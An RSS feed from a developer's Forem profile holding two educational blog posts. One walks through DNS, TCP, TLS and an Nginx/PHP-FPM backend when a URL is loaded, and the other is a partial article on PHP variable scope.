<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Al Amin</title>
    <description>The latest articles on Forem by Al Amin (@dev-alamin).</description>
    <link>https://forem.com/dev-alamin</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1221523%2F339830b8-3863-4114-b02c-3f19db5b7829.jpeg</url>
      <title>Forem: Al Amin</title>
      <link>https://forem.com/dev-alamin</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/dev-alamin"/>
    <language>en</language>
    <item>
      <title>What Happens When You Type a URL and Press Enter</title>
      <dc:creator>Al Amin</dc:creator>
      <pubDate>Wed, 24 Dec 2025 09:49:34 +0000</pubDate>
      <link>https://forem.com/dev-alamin/what-happens-when-you-type-a-url-and-press-enter-13kh</link>
      <guid>https://forem.com/dev-alamin/what-happens-when-you-type-a-url-and-press-enter-13kh</guid>
      <description>&lt;h2&gt;
  
  
  The Life of a Request: An Engineering Deep Dive into Web Network Flow
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;DNS Resolution → TCP Handshake → TLS Handshake → Network Transit → Server Processing → Browser Rendering&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;When you type a URL into a browser and press enter, you trigger a complex choreography involving dozens of systems, multiple networking protocols, and thousands of miles of infrastructure. To the average user, it's magic. To an engineer, it is a sequence of precisely defined steps managing state, latency, and security.&lt;/p&gt;

&lt;p&gt;This article dissects this process, moving from the browser's high-level intent down to the raw socket handling on the server.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What we're going to learn:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Phase 1:&lt;/strong&gt; How DNS resolution translates a human-readable domain into a routable IP address using hierarchical, cache-driven lookups.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Phase 2:&lt;/strong&gt; How a reliable TCP connection is established using the three-way handshake and why it impacts latency.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Phase 3:&lt;/strong&gt; How TLS secures the connection through certificate verification and symmetric key negotiation.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Phase 4:&lt;/strong&gt; How HTTP requests traverse global network infrastructure such as CDNs, WAFs, and load balancers.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Phase 5:&lt;/strong&gt; How a backend server stack (Nginx, PHP-FPM, application runtime) processes a request and generates a response.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Phase 1: The Address Lookup (DNS Resolution)
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbqkqell1d6rv8qs3pukc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbqkqell1d6rv8qs3pukc.png" alt="Image showing DNS resolution" width="800" height="418"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Before any data can be transferred, the browser needs to know the destination's location. Humans use names (e.g., google.com); networking equipment uses numerical IP addresses (e.g., 142.250.190.78 or IPv6 equivalents). The Domain Name System (DNS) is the distributed, hierarchical database that bridges this gap.&lt;/p&gt;

&lt;p&gt;DNS is designed heavily around caching to reduce global network load and latency.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step-by-Step Flow:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Browser Cache:&lt;/strong&gt; The browser first checks its own internal cache of recently visited domains. If found, the process stops here (latency: &amp;lt;5ms).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;OS Cache (Stub Resolver):&lt;/strong&gt; If not in the browser, the OS is queried. The OS maintains its own DNS cache (viewable/flushable via commands like ipconfig /displaydns).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;The Recursive Resolver (Usually the ISP):&lt;/strong&gt; If the IP is not on the local machine, the OS sends a query to its configured DNS resolver. This is usually provided automatically by your ISP via DHCP, though many engineers configure public resolvers like Google (8.8.8.8) or Cloudflare (1.1.1.1).&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Engineering Note:&lt;/em&gt; This query typically uses &lt;strong&gt;UDP&lt;/strong&gt; on port 53 because it is lightweight and fast, lacking the overhead of TCP connection setups. If the response is too large, it may retry over TCP.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;The Iterative Journey:&lt;/strong&gt; The Recursive Resolver now undertakes the journey on your behalf. It likely has common domains cached. If not, it starts at the top of the hierarchy:&lt;/p&gt;

&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Root Hints (.):&lt;/strong&gt; It asks one of the 13 logical Root Server clusters: "Who handles .com?" The root responds with a list of TLD (Top-Level Domain) Name Servers.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;TLD Servers (.com):&lt;/strong&gt; The recursive resolver asks the .com TLD server: "Who handles google.com?" The TLD server responds with the Authoritative Name Servers for that specific domain (e.g., ns1.google.com).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Authoritative Servers:&lt;/strong&gt; Finally, the resolver asks Google's own name server: "What is the A record (IPv4) or AAAA record (IPv6) for google.com?"&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Final Response:&lt;/strong&gt; The authoritative server returns the specific IP address. The Recursive Resolver caches this answer based on the TTL (Time To Live) value defined by the domain owner and returns the IP to your OS.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Phase 2: Establishing Transport (TCP 3-Way Handshake)
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzxra7ugwzsk8f6cg9ojj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzxra7ugwzsk8f6cg9ojj.png" alt="Image showing TCP 3-way handshake" width="800" height="271"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The browser now has the target IP address. It needs to establish a reliable communication channel. HTTP uses the &lt;strong&gt;Transmission Control Protocol (TCP)&lt;/strong&gt; because TCP guarantees that data arrives in order and without corruption.&lt;/p&gt;

&lt;p&gt;A TCP connection is defined by a &lt;strong&gt;Socket Pair&lt;/strong&gt;—a unique combination of IP addresses and port numbers:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;{Client IP : Client Random High Port} &amp;lt;---&amp;gt; {Server IP : Server Port 443 (HTTPS)}&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;To start this connection, a three-step "handshake" occurs to synchronize sequence numbers and ensure both sides are ready to transmit data.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;SYN (Synchronize):&lt;/strong&gt; The client browser chooses a random initial sequence number (let's call it x) and sends a TCP packet with the SYN flag set to the server's IP on port 443. It's saying, "I want to connect, and I will start numbering my data bytes at x."&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;SYN-ACK (Synchronize-Acknowledge):&lt;/strong&gt; The server receives the SYN. If it's accepting connections, it chooses its own random sequence number (y). It sends back a packet with both the SYN and ACK flags set. It acknowledges the client's sequence number (ACK = x + 1) and proposes its own (SYN = y).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;ACK (Acknowledge):&lt;/strong&gt; The client receives the SYN-ACK. It sends back a final packet with the ACK flag set, acknowledging the server's sequence number (ACK = y + 1).&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;At this exact moment, the socket connection is marked as ESTABLISHED.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Engineering Note on Latency:&lt;/em&gt; This process takes 1.5 Round-Trip Times (RTT) before any actual data can be sent. If the ping to the server is 100ms, this handshake alone consumes 150ms.&lt;/p&gt;

&lt;h3&gt;
  
  
  Phase 3: Securing the Transport (The TLS Handshake)
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcmc22zvck601mspi2cw6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcmc22zvck601mspi2cw6.png" alt="Image showing TLS handshake" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Standard HTTP is sent in plaintext; anyone on the network path (like public WiFi or an ISP) could read the data. HTTPS layers HTTP on top of &lt;strong&gt;TLS (Transport Layer Security)&lt;/strong&gt;—the successor to SSL—to provide encryption, authentication, and integrity.&lt;/p&gt;

&lt;p&gt;The TLS handshake happens &lt;em&gt;immediately after&lt;/em&gt; the TCP connection is established and &lt;em&gt;before&lt;/em&gt; any HTTP data is sent. Its goal is to securely negotiate a fast, symmetric encryption key.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The TLS 1.2/1.3 Flow (Simplified):&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Client Hello:&lt;/strong&gt; The browser sends a message listing the newest TLS versions it supports, supported cipher suites (algorithms for encryption), and some random random bytes.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Server Hello &amp;amp; Certificate:&lt;/strong&gt; The server chooses the best common protocol version and cipher suite. It sends its &lt;strong&gt;SSL Certificate&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Authentication (The Trust Chain):&lt;/strong&gt; The browser receives the certificate.&lt;/p&gt;

&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;It checks: Is the certificate expired? Does the Common Name matches the domain URL?&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Crucially, it checks the &lt;strong&gt;Digital Signature&lt;/strong&gt;. The certificate is signed by a Certificate Authority (CA), like Let's Encrypt or DigiCert. The browser has a pre-installed root store of trusted CA public keys. It uses these root keys to verify that the server's certificate was genuinely signed by a trusted entity.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Key Exchange (The Hybrid Cryptosystem):&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Asymmetric Encryption (Slow):&lt;/strong&gt; The server's certificate contains its &lt;strong&gt;Public Key&lt;/strong&gt;. The browser uses this public key to securely encrypt a "pre-master secret" and sends it to the server. Only the server, possessing the corresponding private key, can decrypt it.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Deriving Session Keys (Fast):&lt;/strong&gt; Both the client and server now have the same pre-master secret and the random bytes exchanged earlier. They run this data through a specific algorithm to generate identical &lt;strong&gt;Symmetric Session Keys&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Finished:&lt;/strong&gt; Both sides send a "finished" message encrypted with the new session key to verify everything worked.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;All subsequent HTTP data is now encrypted using this fast, symmetric session key.&lt;/p&gt;

&lt;h3&gt;
  
  
  Phase 4: Network Transit and Infrastructure
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foczg4ye13ive015l402n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foczg4ye13ive015l402n.png" alt="Image showing network infrastructure" width="631" height="371"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;With a secure tunnel established, the browser finally sends the HyperText Transfer Protocol (HTTP) request.&lt;/p&gt;

&lt;p&gt;GET / HTTP/1.1Host: google.comUser-Agent: Mozilla/5.0...Accept: text/html...&lt;/p&gt;

&lt;p&gt;This request data is segmented into TCP packets, which are wrapped in IP packets. These packets travel the internet backbone. They don't just fly straight to the server; they pass through various infrastructure layers:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Routers/Switches:&lt;/strong&gt; Dozens of hops across different ISPs, directing packets based on IP destination.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;CDN (Content Delivery Network):&lt;/strong&gt; Often, the DNS record doesn't point to the origin server, but to a nearby CDN edge node (like Cloudflare, Akamai, or Fastly).&lt;/p&gt;

&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;The CDN terminates the TLS connection.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It checks its cache. If the requested content (images, CSS, or even cached HTML pages) is present, it serves it instantly from the edge, dramatically speeding up the response.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Web Application Firewall (WAF):&lt;/strong&gt; Before reaching the server, the request might pass through a WAF. The WAF inspects the HTTP request for malicious patterns (SQL Injection attempts, XSS attacks) and blocks them if necessary.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Load Balancer:&lt;/strong&gt; For popular sites, a single server cannot handle the traffic. A load balancer sits in front of a server farm, distributing incoming requests across multiple healthy servers using algorithms like Round Robin or Least Connections.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Phase 5: Server-Side Processing (The Backend Stack)
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F17d2yjgls7j1cfanbnw2.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F17d2yjgls7j1cfanbnw2.jpg" alt="Image Explaining Server Side Processing" width="800" height="396"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The request finally arrives at a specific backend server’s network interface card (NIC). The kernel identifies the destination port (443) and passes the data to the application listening on that port: The Web Server.&lt;/p&gt;

&lt;p&gt;We will assume a common modern stack: Nginx as the web server, and PHP-FPM for dynamic content.&lt;/p&gt;

&lt;h4&gt;
  
  
  5.1. The Web Server (Nginx)
&lt;/h4&gt;

&lt;p&gt;Nginx is high-performance, event-driven software. It receives the encrypted data, decrypts it using the symmetric session keys established in Phase 3, and parses the HTTP request headers.&lt;/p&gt;

&lt;p&gt;It makes a decision based on the file extension requested:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Static Content (.jpg, .css, .html):&lt;/strong&gt; If the request is for a static file present on the disk, Nginx reads the file and sends it straight back into the encrypted tunnel. This is extremely fast.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Dynamic Content (.php):&lt;/strong&gt; Nginx knows it cannot execute PHP code. It is configured to proxy these requests to a specialized processor.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  5.2. The Application Gateway (FastCGI / PHP-FPM)
&lt;/h4&gt;

&lt;p&gt;Nginx connects to the PHP-FPM (FastCGI Process Manager) daemon, usually via a local Unix Socket (faster than TCP localhost).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Concurrency Model:&lt;/strong&gt;PHP execution is single-threaded. If PHP-FPM were a single process, it could only handle one request at a time, queueing everyone else.Instead, PHP-FPM uses a &lt;strong&gt;Master/Worker&lt;/strong&gt; model.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;The &lt;strong&gt;Master Process&lt;/strong&gt; manages the pool and listens for incoming connections from Nginx.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It maintains a "pool" of existing &lt;strong&gt;Worker Processes&lt;/strong&gt; (e.g., 50 workers) already initialized with the PHP interpreter loaded into memory.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Nginx hands the request to the Master, which immediately assigns it to an idle Worker. That specific Worker is now dedicated to this one request until completion. Other requests are handled simultaneously by other workers.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  5.3. The Application Execution (Zend Engine)
&lt;/h4&gt;

&lt;p&gt;The chosen PHP Worker process loads the requested PHP script (e.g., index.php for WordPress or Laravel's front controller).&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;Zend Engine&lt;/strong&gt; (the core of PHP) takes over:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Lexing/Parsing:&lt;/strong&gt; Reading the human-readable PHP code and converting it into abstract syntax trees.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Compilation:&lt;/strong&gt; Converting the syntax trees into &lt;strong&gt;Opcode&lt;/strong&gt; (intermediate machine instructions). &lt;em&gt;Note: OPcache is usually used here to store these opcodes in shared memory so subsequent requests skip steps 1 and 2.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Execution:&lt;/strong&gt; The engine executes the opcodes sequentially.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;During execution, the application framework boots up. It might connect to other services:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Database (MySQL/PostgreSQL):&lt;/strong&gt; The PHP worker opens a &lt;em&gt;new&lt;/em&gt; TCP connection to the database server to run SQL queries to fetch article text, user data, etc.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Redis/Memcached:&lt;/strong&gt; To fetch cached data snippets to avoid hitting the database.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Eventually, PHP generates the final HTML string. It hands this output back to the PHP-FPM worker, which passes it back through the socket to Nginx.&lt;/p&gt;

&lt;h3&gt;
  
  
  Phase 6: The Response and Rendering
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4tm6rnl58oufvx9ysawv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4tm6rnl58oufvx9ysawv.png" alt="Image showing server response &amp;amp; browser rendering" width="800" height="436"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Nginx receives the HTML generated by PHP. It constructs a valid HTTP response header:&lt;/p&gt;

&lt;p&gt;HTTP/1.1 200 OKContent-Type: text/html; charset=UTF-8Content-Length: 2543Server: nginx&lt;/p&gt;

&lt;p&gt;It attaches the HTML body, encrypts the whole package using the TLS session key, and streams it back down the established TCP connection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Browser's Job:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Decryption:&lt;/strong&gt; The browser receives the packets, ensures they are in correct TCP order, and decrypts the stream.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Parsing (The Critical Rendering Path):&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;*   The browser begins parsing the HTML document top-to-bottom.

*   It builds the **DOM (Document Object Model)** tree.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ol&gt;

&lt;li&gt; &lt;strong&gt;Cascade:&lt;/strong&gt; When the parser finds  or tags, it pauses parsing (usually) and fires off &lt;em&gt;new&lt;/em&gt; HTTP requests to fetch those assets, repeating much of the network process described above for each file.&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Rendering:&lt;/strong&gt; Once it has the HTML (DOM) and CSS (CSSOM), it combines them into a Render Tree and paints the pixels onto your screen.&lt;/li&gt;

&lt;/ol&gt;
&lt;p&gt;The webpage is loaded. The TCP connection may be kept open for a short time (HTTP Keep-Alive) in case you click a link, saving the overhead of a new handshake.&lt;/p&gt;




&lt;h3&gt;
  
  
  Frequently Asked Questions (FAQ)
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Why does DNS use caching at so many levels?
&lt;/h4&gt;

&lt;p&gt;DNS caching drastically reduces latency, global network traffic, and load on root and authoritative servers. Without caching, every page load would require multiple global lookups.&lt;/p&gt;

&lt;h4&gt;
  
  
  Why is TCP still used when UDP is faster?
&lt;/h4&gt;

&lt;p&gt;TCP provides ordered delivery, retransmission, and congestion control. HTTP requires reliability; speed optimizations are achieved through techniques like connection reuse, HTTP/2 multiplexing, and TLS session resumption rather than abandoning TCP.&lt;/p&gt;

&lt;h4&gt;
  
  
  Does HTTPS slow down websites?
&lt;/h4&gt;

&lt;p&gt;The initial TLS handshake adds some overhead, but modern optimizations (TLS 1.3, session resumption, hardware acceleration) make HTTPS effectively mandatory with negligible real-world performance cost.&lt;/p&gt;

&lt;h4&gt;
  
  
  Why does the browser make so many additional requests after loading HTML?
&lt;/h4&gt;

&lt;p&gt;HTML is only the entry point. CSS, JavaScript, fonts, images, and APIs are fetched separately to enable caching, parallel loading, and reuse across pages.&lt;/p&gt;

&lt;h4&gt;
  
  
  How do CDNs improve performance if the server is far away?
&lt;/h4&gt;

&lt;p&gt;CDNs serve content from geographically closer edge nodes, reducing round-trip time (RTT) and offloading traffic from the origin server.&lt;/p&gt;

&lt;h4&gt;
  
  
  Why does PHP-FPM use multiple worker processes?
&lt;/h4&gt;

&lt;p&gt;PHP is single-threaded. Multiple workers allow concurrent request handling, enabling the server to scale under load without blocking.&lt;/p&gt;

&lt;h4&gt;
  
  
  What happens if one step in the process fails?
&lt;/h4&gt;

&lt;p&gt;The browser aborts the pipeline at the failure point:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;DNS failure → site cannot be located&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;TCP/TLS failure → connection error&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Server error → HTTP 4xx/5xx responseEach layer is designed to fail fast and visibly.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Closing Thoughts
&lt;/h3&gt;

&lt;p&gt;What feels like an instant page load is, in reality, a tightly orchestrated pipeline spanning global infrastructure, cryptography, operating systems, and application runtimes. Every millisecond is negotiated, cached, encrypted, routed, processed, and rendered with precision.&lt;/p&gt;

&lt;p&gt;Understanding this flow is not just academic—it directly informs better debugging, performance optimization, security decisions, and architectural design. Once you see the system end-to-end, the web stops being “magic” and starts being &lt;strong&gt;engineering&lt;/strong&gt;.&lt;/p&gt;

</description>
      <category>networking</category>
      <category>network</category>
      <category>website</category>
    </item>
    <item>
      <title>PHP Engineering: Deep Dive into Core Concepts</title>
      <dc:creator>Al Amin</dc:creator>
      <pubDate>Mon, 08 Dec 2025 13:11:53 +0000</pubDate>
      <link>https://forem.com/dev-alamin/php-engineering-deep-dive-into-core-concepts-22cg</link>
      <guid>https://forem.com/dev-alamin/php-engineering-deep-dive-into-core-concepts-22cg</guid>
      <description>&lt;h2&gt;
  
  
  🚀 (Variable Scope, References, Closures &amp;amp; use)
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;These concepts separate "framework users" from &lt;strong&gt;real PHP engineers&lt;/strong&gt;. Mastering them is key to writing efficient, bug-free, and complex code.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  1. Variable Scope in PHP (Where variables live and die)
&lt;/h2&gt;

&lt;p&gt;Scope defines the context in which a variable is defined and accessible.&lt;/p&gt;

&lt;h3&gt;
  
  
  ✅ Local Scope: The Function's Private Space
&lt;/h3&gt;

&lt;p&gt;A variable declared inside a function (or method) is &lt;strong&gt;locally scoped&lt;/strong&gt;. It is created when the function starts and completely destroyed when the function finishes execution.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;calculateArea&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$width&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$height&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// $area, $width, and $height are all local variables.&lt;/span&gt;
    &lt;span class="nv"&gt;$area&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$width&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nv"&gt;$height&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
    &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Area is: "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$area&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// echo $area; // Fatal Error: Undefined variable $area&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Analogy:&lt;/strong&gt; Like a &lt;strong&gt;private notebook inside a secured meeting room&lt;/strong&gt; — the contents are relevant only for that meeting, and no one outside can read or modify it.&lt;/p&gt;

&lt;h3&gt;
  
  
  ✅ Global Scope: The Public Declaration
&lt;/h3&gt;

&lt;p&gt;A variable declared outside any function or class belongs to the &lt;strong&gt;global scope&lt;/strong&gt;. Functions cannot access global variables directly by default.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$site_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"MyApp"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Global variable&lt;/span&gt;

&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;showSite&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Explicitly importing the global variable into the function's local scope&lt;/span&gt;
    &lt;span class="k"&gt;global&lt;/span&gt; &lt;span class="nv"&gt;$site_name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
    &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Welcome to "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$site_name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
